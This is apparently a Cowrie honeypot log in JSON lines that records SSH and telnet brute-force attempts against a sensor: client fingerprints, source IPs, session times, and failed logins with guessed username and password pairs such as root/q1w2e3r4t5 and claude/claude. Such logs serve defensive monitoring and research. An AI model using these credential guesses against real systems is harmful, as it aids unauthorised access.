{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:10.341908Z","src_ip":"91.92.40.36","session":"3dfab48f416e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex123","message":"login attempt [root/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:13.803737Z","src_ip":"91.92.40.36","session":"3dfab48f416e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:15.691612Z","src_ip":"91.92.40.36","session":"3dfab48f416e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48430,"dst_ip":"10.17.0.5","dst_port":22,"session":"53a7bf1cd184","protocol":"ssh","message":"New connection: 91.92.40.36:48430 (10.17.0.5:22) [session: 53a7bf1cd184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:17.286427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:17.896860Z","src_ip":"91.92.40.36","session":"53a7bf1cd184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:17.900435Z","src_ip":"91.92.40.36","session":"53a7bf1cd184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5","message":"login attempt [root/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:22.697232Z","src_ip":"91.92.40.36","session":"53a7bf1cd184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48516,"dst_ip":"10.17.0.5","dst_port":22,"session":"017f1161c8d9","protocol":"ssh","message":"New connection: 91.92.40.36:48516 (10.17.0.5:22) [session: 017f1161c8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:23.913100Z"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:24.734670Z","src_ip":"91.92.40.36","session":"53a7bf1cd184","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:24.876776Z","src_ip":"91.92.40.36","session":"017f1161c8d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:24.880078Z","src_ip":"91.92.40.36","session":"017f1161c8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.47071719169617,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:26.435956Z","src_ip":"128.199.8.54","session":"ade4b1f44e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":60646,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f56d0e5e34","protocol":"ssh","message":"New connection: 45.78.204.254:60646 (10.17.0.5:22) [session: 60f56d0e5e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:28.665347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:28.671106Z","src_ip":"45.78.204.254","session":"60f56d0e5e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:28.915877Z","src_ip":"45.78.204.254","session":"60f56d0e5e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madhuri","password":"madhuri","message":"login attempt [madhuri/madhuri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:29.532380Z","src_ip":"91.92.40.36","session":"017f1161c8d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8128","message":"login attempt [root/8128] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:29.924769Z","src_ip":"45.78.204.254","session":"60f56d0e5e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":36254,"dst_ip":"10.17.0.5","dst_port":22,"session":"3090492c1f61","protocol":"ssh","message":"New connection: 73.36.177.174:36254 (10.17.0.5:22) [session: 3090492c1f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:30.571097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:30.588318Z","src_ip":"73.36.177.174","session":"3090492c1f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:30.624375Z","src_ip":"73.36.177.174","session":"3090492c1f61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser321","message":"login attempt [myuser/myuser321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:30.838630Z","src_ip":"73.36.177.174","session":"3090492c1f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:31.826792Z","src_ip":"91.92.40.36","session":"017f1161c8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17984,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c88ecd7ad0d","protocol":"ssh","message":"New connection: 91.92.40.36:17984 (10.17.0.5:22) [session: 3c88ecd7ad0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:31.832463Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:31.895184Z","src_ip":"73.36.177.174","session":"3090492c1f61","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:32.808220Z","src_ip":"91.92.40.36","session":"3c88ecd7ad0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:32.811390Z","src_ip":"91.92.40.36","session":"3c88ecd7ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.85353136062622,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:34.926499Z","src_ip":"128.199.8.54","session":"e1434b36d7c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":60492,"dst_ip":"10.17.0.5","dst_port":22,"session":"49766dfc73fb","protocol":"ssh","message":"New connection: 150.136.214.177:60492 (10.17.0.5:22) [session: 49766dfc73fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:36.895894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:36.900421Z","src_ip":"150.136.214.177","session":"49766dfc73fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:36.926390Z","src_ip":"150.136.214.177","session":"49766dfc73fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin@2024","message":"login attempt [user/admin@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:37.064444Z","src_ip":"150.136.214.177","session":"49766dfc73fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:37.419566Z","src_ip":"91.92.40.36","session":"3c88ecd7ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:38.093798Z","src_ip":"150.136.214.177","session":"49766dfc73fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:39.070168Z","src_ip":"91.92.40.36","session":"3c88ecd7ad0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:39.587807Z","src_ip":"45.78.204.254","session":"60f56d0e5e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55304,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d13f96aa847","protocol":"ssh","message":"New connection: 91.92.40.36:55304 (10.17.0.5:22) [session: 5d13f96aa847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:40.102264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:40.847223Z","src_ip":"91.92.40.36","session":"5d13f96aa847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:40.850757Z","src_ip":"91.92.40.36","session":"5d13f96aa847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":46392,"dst_ip":"159.203.135.109","dst_port":22,"session":"005afa639483","protocol":"ssh","message":"New connection: 160.187.180.146:46392 (159.203.135.109:22) [session: 005afa639483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:43.839239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:43.844290Z","src_ip":"160.187.180.146","session":"005afa639483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:44.051154Z","src_ip":"160.187.180.146","session":"005afa639483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:17:44.838815Z","src_ip":"91.92.40.36","session":"5d13f96aa847","protocol":"ssh"}
